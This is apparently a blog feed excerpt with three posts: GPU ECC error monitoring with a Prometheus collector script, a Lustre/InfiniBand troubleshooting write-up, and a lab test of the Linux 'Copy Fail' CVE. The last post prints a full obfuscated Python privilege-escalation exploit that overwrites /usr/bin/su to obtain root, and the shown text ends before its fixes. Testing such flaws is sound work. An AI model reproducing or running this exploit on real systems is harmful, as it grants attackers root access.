DRAM Uncorrectable : 269</p>
<p>Volatile<br />
易失 · 本次启动周期重启能清零吗，能，驱动重载后，归零重算，</p>
<p>代表什么，这次开机以后坏了几次大盘采的是它<br />
DCGM_FI_DEV_ECC_DBE_VOL_TOTAL</p>
<p class="ecc-cap">图 1 · 同一颗 GPU,两个计数器各说各话</p>
<p><img decoding="async" class="alignnone size-full wp-image-4084" src="https://blog.wanjie.info/wp-content/uploads/2026/10/agg1.jpg" alt="" width="1168" height="784" /></p>
</div>
<p>于是就有了那个经典场面:</p>
<ul>
<li>错误发生在<strong>上一次启动周期之前</strong>(或者驱动加载之前);</li>
<li>当前的 Volatile 计数器是 <strong>0</strong>;</li>
<li>大盘忠实地采集了这个 0,安安静静,一片祥和。</li>
</ul>
<p>而 Aggregate 里那 269,一直躺在那里,谁也看不见。</p>
<div class="ecc-call">
<div class="ecc-call-t">顺带说一句 DCGM 的正确用法</div>
<p>在现代 DCGM + Prometheus 的实践里,该盯的告警指标是 <code>ecc.errors.uncorrected.volatile.total</code>。这个值<strong>正常就该是 0</strong>。只要不是 0,说明问题就发生在当前这个运行周期,是现役风险,得当回事。</p>
</div>
<h2 class="ecc-h2">先分清 SBE 和 DBE,不然会白紧张</h2>
<p>ECC 错误不是一种东西,分两类,处理态度完全不同:</p>
<div class="ecc-fig">Correctable · 单比特 SBE<br />
能被 ECC 自动纠正,程序无感<br />
处理态度<br />
预警信号<br />
计数上涨说明<br />
颗粒在退化,该开始关注了<br />
Uncorrectable · 多比特 DBE<br />
纠不回来,数据已经错了<br />
处理态度<br />
必须立即处理<br />
后果<br />
任务崩溃,或静默算出错误结果</p>
<p class="ecc-cap">图 2 · SBE 是黄灯,DBE 是红灯——而静默的数据错误比崩溃更难查</p>
</div>
<p>所以看到 <code>DRAM Correctable: 7</code> 不用慌,看到 <code>DRAM Uncorrectable: 269</code> 就得认真了。</p>
<h2 class="ecc-h2">那重启一下能清掉吗</h2>
<p>不能。这个得说清楚,因为很容易误解。</p>
<p><code>nvidia-smi --reset-ecc-errors=0</code> 这条命令确实能"清零",参数 0 指 Volatile,1 指 Aggregate。但它清的只是<strong>计数器上的数字</strong>,不是故障本身。硬件该坏还是坏,任务该崩还是崩。</p>
<p>而且真正的内存修复机制——Page Retirement 和 Row Remapping——都需要<strong>重启 GPU</strong> 才能生效。所以这里有个很容易搞混的点:重启能让修复动作落地,但不会让"这颗卡有毛病"这件事消失。</p>
<h2 class="ecc-h2">然后就是等,以及每隔一阵记一笔</h2>
<p>从六月到九月,这个数字的成长史大概是这样:</p>
<div class="ecc-fig">
<p>DRAM Uncorrectable 的增长轨迹<!-- 512 门槛线 -->512 · RMA 门槛</p>
<p>269<br />
475<br />
476<br />
499<br />
500</p>
<p>6月<br />
07-27<br />
08-26<br />
09-03<br />
09-03 夜</p>
<p>中间那段几乎平了(475→476 只涨了 1),直到再次上强度压测才开始跳。这和"掉卡"的触发方式有关——它不是匀速坏的。</p>
<p class="ecc-cap">图 3 · 从 269 到 500:不是线性增长,而是压测一上强度就跳</p>
</div>
<p>中间有个细节挺说明问题:8 月底那次只涨了 1(475 → 476)。当时还以为是不是稳住了,后来才想明白——这种错误不是均匀冒出来的。平时负载轻,它就安静待着;一旦上强度压测、把卡往极限里推,才会触发新的错误。</p>
<p>换句话说,这颗卡是被<strong>压出来</strong>的。</p>
<h2 class="ecc-h2">动手:把它接进看板</h2>
<p>既然它不在标准指标里,那就自己造一个。思路很简单, 三步:</p>
<ol>
<li>写个脚本,定期跑 <code>nvidia-smi</code>,把 Aggregate 里的 DBE 数字抠出来;</li>
<li>按 node_exporter 的 textfile 格式落盘;</li>
<li>让 node-exporter 把这个目录读进去,Prometheus 自然就能抓到。</li>
</ol>
<h3>第一步的脚本,核心就是一段 awk:</h3>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">#!/bin/bash
OUTFILE="/var/lib/node_exporter/textfile/nvidia_ecc.prom"
TMPFILE="${OUTFILE}.$$"
mkdir -p "$(dirname "$OUTFILE")"

# 获取节点名（优先使用 HOSTNAME 环境变量，否则用 hostname 命令）
NODE="${HOSTNAME:-$(hostname)}"

nvidia-smi -q -d ECC | awk -v node="$NODE" '
    /GPU [0-9a-fA-F:]+\./ { gpu_idx++ }
    /Aggregate/ { a = 1 }
    /DRAM Uncorrectable/ &amp;&amp; a {
        printf("nvidia_ecc_dram_uncorrectable_aggregate{node=\"%s\", gpu=\"%d\"} %s\n", node, gpu_idx-1, $NF)
        a = 0
    }
' &gt; "$TMPFILE"

mv "$TMPFILE" "$OUTFILE"
chmod 644 "$OUTFILE"</pre><p>有个小坑值得记一下:<code>nvidia-smi -q -d ECC</code> 的输出里,<code>Volatile</code> 和 <code>Aggregate</code> 两个段都有 <code>DRAM Uncorrectable</code> 这一行。所以 awk 里那个 <code>a</code> 标志位是必需的——只在看到 <code>Aggregate</code> 之后才取值,不然会抓到 Volatile 的 0。</p>
<p>跑完长这样:<code></code></p><pre class="urvanov-syntax-highlighter-plain-tag">nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="0"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="1"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="1"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="2"} 20
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="2"} 496
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="3"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="3"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="4"} 0
nvidia_ecc_dram_uncorrectable_aggregate{node="r3n2", gpu="4"} 0</pre><p></p>
<h3>第二步,用 Ansible 铺到所有 GPU 节点上:建目录、发脚本、加 cron(每两小时跑一次)。</h3>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">ansible-playbook deploy-ecc-collector.yaml

&lt;span class=&quot;c&quot;&gt;# 或者手动几行搞定&lt;/span&gt;
ansible gpu-nodes -m file -a &quot;path=/var/lib/node_exporter/textfile state=directory owner=nobody group=nogroup mode=0755&quot;
ansible gpu-nodes -m shell -a 'echo &quot;25 */2 * * * /usr/local/bin/ecc-collect.sh&quot; | crontab -'</pre><p></p>
<h3>第三步是关键的改动:node-exporter 默认不读 textfile 目录,得把 collector 打开,并且把这个目录挂进去。</h3>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">&lt;span class=&quot;c&quot;&gt;# DaemonSet 里加两处&lt;/span&gt;
args:
  - --collector.textfile.directory=/var/lib/node_exporter/textfile
volumeMounts:
  - mountPath: /var/lib/node_exporter/textfile
    name: textfile
    readOnly: true
volumes:
  - hostPath:
      path: /var/lib/node_exporter/textfile
      type: DirectoryOrCreate
    name: textfile</pre><p>这里也有个容易漏的点:宿主机上的目录权限得让容器里的 nobody(65534)读得到,否则 node-exporter 起了但读不到文件,指标依然是空的。</p>
<div class="ecc-call ok">
<div class="ecc-call-t">效果</div>
<p>看板上终于出现了一条曲线,能直接看到每台机器、每颗 GPU 的 Aggregate DBE 计数。不用再一台台手动敲命令了。</p>
</div>
<p><img decoding="async" class="alignnone wp-image-4085" src="https://blog.wanjie.info/wp-content/uploads/2026/10/dbe1.png" alt="" width="881" height="224" /></p>
<h2 class="ecc-h2">现在的位置</h2>
<p>500 / 512。还差 12 个。</p>
<p>就等下一次强力压测——按之前的规律,把卡推到极限,大概就会再掉几个,凑够数就能提 RMA 了。</p>
<p>说不上来这是不是一种奇怪的等待。但我们盯着这条曲线看了三个月,从 269 看到 500,某种程度上也算陪着这颗卡走完了它的后半程。</p>
<p>后记： 9月 某天，终于上了 512了，正式提 RMA。</p>
<h2 class="ecc-h2">附录:RMA 的触发条件</h2>
<p>NVIDIA 关于显存行重映射(row remapping)的 RMA 政策里,触发"需要更换"的条件是以下任意一条:</p>
<ul>
<li>某个 bank 已经有 <strong>8 行</strong>不可纠正错误被重映射过,之后又尝试重映射新的不可纠正错误;</li>
<li>对<strong>已经重映射过</strong>的行再次尝试重映射(这种情况可以少于 8 次总重映射);</li>
<li><strong>累计 512 次</strong>不可纠正错误的重映射。</li>
</ul>
<p>官方文档在这一份:<a href="https://docs.nvidia.com/deploy/a100-gpu-mem-error-mgmt/latest/rma-policy-thresholds-for-row-remapping.html" target="_blank"  rel="nofollow" ><em>GPU DRAM Memory RMA Policy</em></a>(GPU 显存错误管理指南)。提 RMA 之前,通常还会被要求跑一遍 Field Diagnostics Tool, 把结果一起交上去，话说这个 报告也很费事，有空再考虑写写。</p>
<div class="ecc-call">
<div class="ecc-call-t">一句话总结</div>
<p>大盘绿不代表机器好。<code>Volatile</code> 看的是"这次开机之后",<code>Aggregate</code> 看的是"这块卡这一生"。要盯硬件寿命,就得盯 Aggregate——而它不在默认指标里, 得自己接。</p>
<p>&nbsp;</p>
</div>
</article>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Troubleshooting a DDN Lustre I/O Error</title>
		<link>https://blog.wanjie.info/2026/09/troubleshooting-a-ddn-lustre-i-o-error/</link>
					<comments>https://blog.wanjie.info/2026/09/troubleshooting-a-ddn-lustre-i-o-error/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Tue, 22 Sep 2026 15:37:34 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ai]]></category>
		<category><![CDATA[ddn]]></category>
		<category><![CDATA[k8s]]></category>
		<category><![CDATA[lustre]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4072</guid>

					<description><![CDATA[记一次ddn Lustre I/O error 排障]]></description>
										<content:encoded><![CDATA[<header>
<p class="lst-meta">引子：一个 <code>Input/output error</code> 引发的三种猜想</p>
</header>
<p>故事的开始很普通。上午，有人反馈：某个容器里的 Python 脚本读文件直接抛IO异常，让查下 DDN（lustre)。</p><pre class="urvanov-syntax-highlighter-plain-tag">$ python -c "open('.../pytest-9.1.1.dist-info/entry_points.txt','rb').read(200)"
Traceback (most recent call last):
  File "&lt;string&gt;", line 1, in &lt;module&gt;
OSError: [Errno 5] Input/output error</pre><p>同一个目录下的另一个文件，读起来却完全正常。</p><pre class="urvanov-syntax-highlighter-plain-tag">$ python -c "open('.../pytest-9.1.1.dist-info/top_level.txt','rb').read(200)"
# 正常返回</pre><p><code></code></p>
<p>这种"一半好一半坏"的现象最容易带偏人。现场迅速形成了三种猜想：</p>
<ol>
<li><strong>权限问题</strong>——uid/gid 对不上，容器里某个用户没权限；</li>
<li><strong>存储坏了</strong>——DDN 后端出问题，数据损坏；</li>
<li><strong>容器坏了</strong>——旧容器有 bug，重建就好。</li>
</ol>
<p>后来证明：<strong>三个都不对</strong>。真正的答案是第 4 个——InfiniBand 网络在某几分钟里抖了一下，导致一系列后续故障。</p>
<p><span id="more-4072"></span></p>
<h2 class="lst-h2">第一现场：一台节点上的完整证据链</h2>
<p>出问题的节点（下称 <code>node-a</code>）在 <code>08:31</code> 到 <code>08:46</code> 这个窗口内表现异常。我们先看整体结构。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4073" src="https://blog.wanjie.info/wp-content/uploads/2026/09/arch-01.png" alt="" width="737" height="332" srcset="https://blog.wanjie.info/wp-content/uploads/2026/09/arch-01.png 737w, https://blog.wanjie.info/wp-content/uploads/2026/09/arch-01-300x135.png 300w" sizes="auto, (max-width: 737px) 100vw, 737px" /></p>
<div class="lst-fig">
<p class="lst-cap">图 1 · 拓扑与故障路径：问题出在客户端与 Fabric 之间</p>
</div>
<h3 class="lst-h3">证据一：OST 没有进入只读</h3>
<p>排查的第一件事是确认存储后端本身的状态——因为"存储坏了"是最吓人的猜想。</p><pre class="urvanov-syntax-highlighter-plain-tag">$ lctl get_param obdfilter.*.readonly
obdfilter.lustrefs-OST0000.readonly=0
obdfilter.lustrefs-OST0001.readonly=0</pre><p><code>readonly=0</code> 意味着 OSS 数据层<strong>从未降级为只读</strong>。 Lustre 只有在后端文件系统检测到严重错误时才会切只读。它是 0，说明磁盘阵列和数据层是健康的。</p>
<div class="lst-call ok">
<div class="lst-call-t">判定</div>
<p>存储后端健康，"DDN 坏了"这条猜想初步排除。</p>
</div>
<h3 class="lst-h3">证据二：服务器自己的 IB 网卡进了 recovery</h3>
<p>这是整条证据链里最关键的一行。在内核日志里：</p><pre class="urvanov-syntax-highlighter-plain-tag">08:39:12  LNet: &lt;span class=&quot;y&quot;&gt;1 local NIs in recovery&lt;/span&gt; (showing 1): 192.0.2.101@o2ib
08:39:50  LNet: kiblnd_check_conns() &lt;span class=&quot;r&quot;&gt;Timed out tx&lt;/span&gt;
08:40:28  LNet: kiblnd_check_conns() Timed out tx  (Skipped 2 previous similar message)</pre><p>注意 <code>local NIs</code> 这个词——<strong>local</strong>，指的是服务器自己。也就是说，存储服务器自身的 IB 网卡进了 recovery 状态。这不是客户端单方面的问题，是服务器端的 o2ib 链路发生了抖动或断开重连。</p>
<p>紧接着的 <code>kiblnd_check_conns() Timed out tx</code> 来自 o2iblnd（InfiniBand 的 LNet 驱动层），是<strong>传输层连接超时的直接证据</strong>。它和文件权限、uid/gid 没有任何关系。</p>
<h3 class="lst-h3">证据三：客户端的 import 状态是 EVICTED</h3>
<p>从服务器视角看完，再切到客户端视角。<code>node-b</code> 上一度能直接复现问题：</p><pre class="urvanov-syntax-highlighter-plain-tag">$ lfs check servers | grep -i OST000f
lfs check: error: check 'lustrefs-OST000f-osc-...': Cannot send after transport endpoint shutdown (108)

# 对照节点 node-c 上同一条命令
lustrefs-OST000f-osc-... active。</pre><p>&nbsp;</p>
<p>而真正把状态钉死的，是客户端 import 参数里的这一行：</p><pre class="urvanov-syntax-highlighter-plain-tag">$ lctl get_param osc.lustrefs-OST000f-osc-....import
import:
    name: lustrefs-OST000f-osc-...
    target: lustrefs-OST000f_UUID
    state: EVICTED          # ← 关键
    import_flags: [ invalid, replayable, pingable, connect_tried ]
    connection:
       nids_stats:
          "192.0.2.114@o2ib": { connects: 514, replied: 514, ... sec_ago: 73140 }
       current_connection: "192.0.2.114@o2ib"
       idle: 73140 sec</pre><p>&nbsp;</p>
<p>这里有三个信息量很大的细节：</p>
<ul>
<li><code>state: EVICTED</code>——客户端被服务端驱逐，所有发往该 OST 的操作都会失败；</li>
<li><code>import_flags</code> 里有 <code>invalid</code>——连接已失效；</li>
<li><code>replied: 514</code>——最后那次连接<strong>是收到了应答的</strong>，应答内容就是"你被驱逐了"。说明那一刻网络还通，是服务端先动了手。</li>
</ul>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4074" src="https://blog.wanjie.info/wp-content/uploads/2026/09/import01-1030x328.png" alt="" width="1030" height="328" srcset="https://blog.wanjie.info/wp-content/uploads/2026/09/import01-1030x328.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/09/import01-300x96.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/09/import01-768x245.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/09/import01.png 1482w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<div class="lst-fig">
<p class="lst-cap">图 2 · 客户端 import 状态机：修复路径是重建实例，不是改权限</p>
</div>
<h2 class="lst-h2">把时间线拼回来</h2>
<p>单独看每行日志没什么感觉，按时间顺序排就一目了然了。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4075" src="https://blog.wanjie.info/wp-content/uploads/2026/09/event01-1030x612.jpg" alt="" width="1030" height="612" srcset="https://blog.wanjie.info/wp-content/uploads/2026/09/event01-1030x612.jpg 1030w, https://blog.wanjie.info/wp-content/uploads/2026/09/event01-300x178.jpg 300w, https://blog.wanjie.info/wp-content/uploads/2026/09/event01-768x457.jpg 768w, https://blog.wanjie.info/wp-content/uploads/2026/09/event01.jpg 1480w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<div class="lst-fig">
<p class="lst-cap">图 3 · 时间线复原：从驱动异常到客户端被驱逐，再到恢复</p>
</div>
<h2 class="lst-h2">为什么"新容器没问题"反而帮了倒忙</h2>
<p>现场最容易被当成结论的一句话是：<em>"我重建了个容器，读写就正常了，所以是旧容器的问题。"</em></p>
<p>这句话逻辑上没错，但它证明不了"旧容器本身有缺陷"。因为 Lustre 的驱逐是<strong>客户端实例级别的</strong>：</p>
<table>
<tbody>
<tr>
<th>对象</th>
<th>状态</th>
<th>读写结果</th>
</tr>
<tr>
<td>旧容器（对应被驱逐的客户端实例）</td>
<td>已被服务端驱逐，锁与缓存状态被撤销</td>
<td>全部 I/O 返回 EIO</td>
</tr>
<tr>
<td>新容器（全新客户端实例）</td>
<td>网络已恢复，重新挂载、重新连接</td>
<td>正常</td>
</tr>
</tbody>
</table>
<p>新建容器时，网络抖动窗口已经过去了，它自然一切正常。这只能说明<strong>问题窗口已经结束</strong>，不能说明旧容器有 bug。</p>
<div class="lst-call warn">
<blockquote>
<div class="lst-call-t">为什么是 EIO 而不是 Permission denied</div>
<p>权限不足会返回 <code>Permission denied</code>。而 <code>Input/output error</code>（rc -5 / -EIO）是客户端被驱逐后，Lustre 对 OST/MDT 的后续操作统一返回的错误码。二者含义完全不同，这也是排除权限猜想的直接依据。</p></blockquote>
</div>
<h2 class="lst-h2">另一台节点的独立佐证</h2>
<p>同期 <code>node-b</code> 上也出现了同类现象，而且更"教科书"：先是 lock enqueue 失败，然后是脏页被丢弃。</p><pre class="urvanov-syntax-highlighter-plain-tag">Sep 20 18:26:54  LustreError: lustrefs-OST000f-osc-...: operation ost_write to node 192.0.2.114@o2ib &lt;span class=&quot;r&quot;&gt;failed: rc = -107&lt;/span&gt;
Sep 20 18:26:54  LustreError: lustrefs-OST000f-osc-...: &lt;span class=&quot;r&quot;&gt;This client was evicted by lustrefs-OST000f&lt;/span&gt;;
                 in progress operations using this service will fail.
Sep 20 18:26:55  LustreError: ldlm_resource_complain() ... refcount nonzero (1) after lock cleanup; forcing cleanup.</pre><p>还有一条容易被忽视、但含义很重的日志：</p><pre class="urvanov-syntax-highlighter-plain-tag">&lt;span class=&quot;r&quot;&gt;dirty page discard&lt;/span&gt;: ...: [0x200006ae1:0x1ff39:0x0]// &lt;span class=&quot;y&quot;&gt;may get corrupted&lt;/span&gt; (rc -5)</pre><p><code>dirty page discard</code> 意味着客户端有<strong>尚未刷回存储的脏页被丢弃</strong>。这是真实的数据风险点——不是存储坏了，而是网络中断导致写缓存里的数据没能落盘。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4076" src="https://blog.wanjie.info/wp-content/uploads/2026/09/su01-1030x390.png" alt="" width="1030" height="390" srcset="https://blog.wanjie.info/wp-content/uploads/2026/09/su01-1030x390.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/09/su01-300x114.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/09/su01-768x291.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/09/su01.png 1488w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<div class="lst-fig">
<p class="lst-cap">图 4 · 排除法：三个嫌疑人，只有第三个对得上全部证据</p>
</div>
<h2 class="lst-h2">收网：证据链的完整表述</h2>
<p>把所有片段串成一条链：</p>
<div class="lst-call">
<div class="lst-call-t">结论</div>
<p><strong>08:31</strong> 起，HCA 驱动层出现密集异常（<code>mlx5 ACCESS_REG failed</code>），持续约 15 分钟，指向固件/寄存器交互异常；<br />
<strong>08:38:51</strong> 起 RPC 请求批量超时；<br />
<strong>08:39:12</strong> 存储服务器<strong>本地</strong> IB 接口进入 recovery；<br />
<strong>08:39:50 / 08:40:28</strong> 连续出现 IB 传输层连接超时；<br />
<strong>08:40:28</strong> 客户端因锁回调超时（rc <code>-110</code> / ETIMEDOUT）被 OST 驱逐；<br />
<strong>08:41</strong> MGS/MDT 又因 151 秒无心跳将其驱逐。</p>
<p>全程 OST <code>readonly=0</code>，无文件系统错误。<strong>根因是 IB 链路/驱动层异常，不是 DDN 存储后端，也不是容器权限。</strong></p>
</div>
<p>同时要诚实标注一个<strong>未完全闭合的点</strong>：证据包里的 IB 端口计数器（<code>link_downed</code>、<code>symbol_error</code>、<code>link_error_recovery</code>）在采集时<strong>全是 0</strong>，<code>hw_counters</code> 也是空文件。<code>lctl</code> 日志中只有 <code>drop_count: 5</code>。</p>
<p>这意味着：<strong>物理链路本身没有经历 Link Down</strong>，抖动的成因更可能在<strong>固件/驱动交互层</strong>（呼应 08:31 的 mlx5 报错），而不是线缆或光模块。要彻底闭合，还需要看交换机端口计数器和同一 Fabric 上其他节点的同期表现——但就目前证据，方向已经明确。</p>
<h2 class="lst-h2">经验小结</h2>
<ol>
<li><strong>先看错误码，再看错误信息。</strong> <code>EIO</code> 和 <code>EACCES</code> 指向完全不同的层，一个字母的差别就是两个排查方向。</li>
<li><strong>区分"服务端健康"和"链路健康"。</strong> <code>readonly=0</code> 只证明数据层没事，不证明客户端能连上。</li>
<li><strong>"重建就好了"不是归因。</strong> 它只说明故障窗口结束了。要问的是：窗口内发生了什么。</li>
<li><strong>警惕被驱逐后的连锁反应。</strong> 锁失效、脏页丢弃（可能损坏）、资源未释放（refcount 异常），都发生在驱逐之后，是<em>结果</em>不是<em>原因</em>。</li>
<li><strong>取证要趁早。</strong> 计数器是累加的，但很多状态是易失的；本文的证据包能成型，靠的是在故障后尽快系统性采集。</li>
</ol>
<h2 class="lst-h2">附录：一键证据收集清单</h2>
<p>排查这类问题最怕"知道要查什么，但当时没存下来"。以下是在客户端节点上一次值得跑完的采集项：</p><pre class="urvanov-syntax-highlighter-plain-tag"># 1) 客户端与存储的连接状态（最关键）
lctl get_param osc.*.import | grep -E "state|nids_stats|idle|replied"
lctl get_param mdc.*.import | grep -E "state|idle"
lfs check servers

# 2) 服务端数据层健康度
lctl get_param obdfilter.*.readonly
lctl get_param *.*.recovery_status

# 3) 内核日志中的 IB / LNet / 驱逐事件
journalctl -k --since "$START" --until "$END" --no-pager -o short-precise \
  | grep -iE "kiblnd|o2iblnd|LNet|evict|LustreError|mlx5"

# 4) IB 设备与端口状态
ibstat
for f in /sys/class/infiniband/*/ports/*/counters/*; do
  echo "$f: $(cat $f)"; done | grep -viE ": 0$"

# 5) 驱动版本（判断是否需要匹配固件）
modinfo mlx5_core | head -5
ibstat -s | grep -E "CA '|Firmware"</pre><p>&nbsp;</p>
<p>把这些输出连同时间窗口一起打包留档，下次再遇到"是不是存储坏了"的争论时，就不需要靠猜了。</p>
<p class="lst-foot">—— 本文由某调试中的自建AI模型整理 ——</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/09/troubleshooting-a-ddn-lustre-i-o-error/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>CVE-2026-31431 Linux Copy Fail</title>
		<link>https://blog.wanjie.info/2026/05/cve-2026-31431-linux-copy-fail/</link>
					<comments>https://blog.wanjie.info/2026/05/cve-2026-31431-linux-copy-fail/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 02 May 2026 03:36:22 +0000</pubDate>
				<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[Copy Fail]]></category>
		<category><![CDATA[CVE-2026-31431]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4068</guid>

					<description><![CDATA[五一“家里蹲”漏洞体验：一个 732 字节的 Python 脚本，真的能秒杀 Linux 提权？，针对CVE-2026-31431 Linux Copy Fail漏洞的几个常见系统测试及简单修复办法]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<blockquote><p>别人在景区看人海，我在家里蹲看内核 panic。<br />
这个五一，我亲自验证了号称“Copy Fail”的 CVE-2026-31431。</p></blockquote>
<h2>漏洞背景：一颗 732 字节的“核弹”</h2>
<p class="ds-markdown-paragraph">放假前夕，科技媒体 CyberKendra 爆了个大瓜：Linux 内核又出高危漏洞了，编号 <strong>CVE-2026-31431</strong>，代号“Copy Fail”。亮点（或者说槽点）十足：</p>
<ul>
<li>
<p class="ds-markdown-paragraph"><strong>732 字节</strong>的 Python 脚本，短得像一首俳句。</p>
</li>
<li>
<p class="ds-markdown-paragraph">通杀几乎所有主流发行版，提权到 <strong>root</strong>。</p>
</li>
<li>
<p class="ds-markdown-paragraph">利用内核的 <code>AF_ALG</code> 加密接口和 <code>splice</code> 系统调用，<strong>绕过文件完整性检查</strong>，从普通用户一跃成为系统主人。</p>
</li>
</ul>
<p class="ds-markdown-paragraph">自打 centos7.9 退役后，平日工作 Ubuntu 接触最多，正好手边有几台实验服务器，趁着假期家里蹲，亲测一下到底灵不灵。</p>
<p><span id="more-4068"></span></p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4069" src="https://blog.wanjie.info/wp-content/uploads/2026/05/cve-31431-copy-fail-s.png" alt="cve-31431-copy-fail" width="986" height="555" srcset="https://blog.wanjie.info/wp-content/uploads/2026/05/cve-31431-copy-fail-s.png 986w, https://blog.wanjie.info/wp-content/uploads/2026/05/cve-31431-copy-fail-s-300x169.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/05/cve-31431-copy-fail-s-768x432.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/05/cve-31431-copy-fail-s-512x288.png 512w" sizes="auto, (max-width: 986px) 100vw, 986px" /></p>
<h2>大名鼎鼎的漏洞利用脚本</h2>
<p class="ds-markdown-paragraph">这是 GitHub 上公开的 exploit 真身，（务必合法使用）：</p>
<p><a href="https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py" target="_blank"  rel="nofollow" >https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py</a></p>
<p><code><br />
#!/usr/bin/env python3<br />
import os as g,zlib,socket as s<br />
def d(x):return bytes.fromhex(x)<br />
def c(f,t,c):<br />
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)<br />
try:u.recv(8+t)<br />
except:0<br />
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))<br />
while i&lt;len(e):c(f,i,e[i:i+4]);i+=4<br />
g.system("su")<br />
</code></p>
<p>&nbsp;</p>
<p>核心逻辑就是跟内核的加密套接字套近乎，然后通过 <code>splice</code> 把 <code>/usr/bin/su</code> 的数据“拼接”到内核里，一顿操作猛如虎后，安静的弹出一个 root shell。</p>
<p>&nbsp;</p>
<h2>实测：几家欢喜几家愁</h2>
<p class="ds-markdown-paragraph">既然要玩，就得雨露均沾。我翻出手头的几台机器，用普通用户 <code>normal</code> 逐一测试，结果如下：</p>
<div class="ds-scroll-area ds-scroll-area--show-on-focus-within _1210dd7 c03cafe9">
<table>
<thead>
<tr>
<th>操作系统</th>
<th>报错信息</th>
<th>是否受影响</th>
<th>备注</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Ubuntu 24.04</strong></td>
<td><code>FileNotFoundError: [Errno 2] No such file or directory</code></td>
<td>❌ 否</td>
<td>内核缺算法，逃过一劫</td>
</tr>
<tr>
<td><strong>Rocky Linux 8</strong></td>
<td><code>AttributeError: module 'os' has no attribute 'splice'</code></td>
<td>❌ 否</td>
<td>Python 太老，玩不了这花活</td>
</tr>
<tr>
<td><strong>TencentOS Server 3.1</strong></td>
<td><code>FileNotFoundError: [Errno 2] No such file or directory</code></td>
<td>❌ 否</td>
<td>同样缺模块</td>
</tr>
<tr>
<td><strong>CentOS 7.9</strong></td>
<td><code>AttributeError: module 'os' has no attribute 'splice'</code></td>
<td>❌ 否</td>
<td>老人家表示没听说 <code>os.splice</code></td>
</tr>
<tr>
<td><strong>Ubuntu 22.04</strong></td>
<td>（成功，直接返回 <code>#</code>）</td>
<td>✅ <strong>中招</strong></td>
<td>非常“争气”</td>
</tr>
</tbody>
</table>
</div>
<p class="ds-markdown-paragraph">在 Ubuntu 22.04 上，几行输出后，终端光标就静静停在了 <code>#</code> 后面：</p>
<p><code># id<br />
uid=0(root) gid=1002(normal) groups=1002(normal)<br />
</code></p>
<p>是的，root 就这么到手了，廉价的让人有点恍惚。<br />
看来攻击者最爱 Ubuntu 22.04 不是没道理的，环境“刚刚好”。</p>
<h2>为什么有的系统不行？</h2>
<ul>
<li>
<p class="ds-markdown-paragraph"><strong><code>FileNotFoundError</code></strong> 是因为内核里没有注册 <code>authencesn(hmac(sha256),cbc(aes))</code> 这个加密算法。标准内核一般只有 <code>authenc(...)</code>，这个 <code>esn</code> 变体需要额外模块或特定编译选项。平时用不上，反而成了天然屏障。</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong><code>AttributeError: ... 'splice'</code></strong> 是因为 Python 版本太老。<code>os.splice</code> 是 Python 3.10 才加入的，RHEL 8 系默认 Python 3.6，自然罢工。</p>
</li>
</ul>
<p class="ds-markdown-paragraph">也就是说，这个 exploit 同时要求 <strong>内核有特定算法</strong> + <strong>Python ≥ 3.10</strong>，缺一不可。Ubuntu 22.04 恰好完美满足了所有条件，堪称“漏洞宠儿”。</p>
<h2>修复与临时止血</h2>
<p class="ds-markdown-paragraph">如果你是管理员，看到这里估计已经在找紧急加固方案了。</p>
